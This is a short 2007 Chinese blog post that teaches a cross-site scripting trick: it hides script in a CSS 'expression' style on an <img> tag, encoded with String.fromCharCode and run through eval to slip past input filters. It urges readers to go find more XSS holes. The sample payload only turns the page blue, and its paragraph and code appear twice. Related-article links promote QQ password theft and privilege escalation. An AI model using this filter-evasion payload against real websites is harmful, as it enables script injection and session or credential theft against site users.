expression&eval跨站的一個方法
更新時間：2007年03月08日 00:00:00 作者：
expression這個CSS的屬性很多程序都沒有過濾好,很容易被跨,不知道用就參考劍心的幻影論壇跨站腳本漏洞測試過程.
我這里要說的是另外一種方法,使用String.fromCharCode方法把ASCⅡ碼轉(zhuǎn)換為字符再用EVAL函數(shù)執(zhí)行.
<img src="#" style="Xss:expression(eval(
String.fromCharCode(100,111,99,117,109,101,110,116,46,98,103,67,111,108,111,114,61,34,98,108,117,101,34)));">
嘿嘿,大把的XSS等你去挖掘,ENJOY IT :)
我這里要說的是另外一種方法,使用String.fromCharCode方法把ASCⅡ碼轉(zhuǎn)換為字符再用EVAL函數(shù)執(zhí)行.
<img src="#" style="Xss:expression(eval(
String.fromCharCode(100,111,99,117,109,101,110,116,46,98,103,67,111,108,111,114,61,34,98,108,117,101,34)));">
嘿嘿,大把的XSS等你去挖掘,ENJOY IT :)
相關文章
一些小技巧與常見問題解決方法...2007-10-10
開放IPC$共享...2007-01-01
許多網(wǎng)友都想知道“QQ聊天記錄刪除了怎么恢復”，因為QQ聊天記錄對于我們來說是很重要的數(shù)據(jù)。下面我們就來介紹下如何解決QQ聊天記錄刪除恢復的問題2012-03-03
歷代木馬程序隱身的技術分析...2007-11-11
XSS 0DAY代碼...2007-03-03
提權(quán),以MySQL之名...2007-01-01
提權(quán)總結(jié)整理貼...2007-10-10
想用別人的 qq號碼，最主要的就是把別人的密碼偷來，那么怎么盜別人的qq密碼呢？不過，沒有人會告訴你：我的密碼是什么什么，請你盡情的用我的號碼吧！那么，黑客是怎么去把別人的密碼偷來呢2012-03-03
Mysql提權(quán)方法利用...2007-06-06
價值600元的東亞黑客聯(lián)盟VIP教程...2007-06-06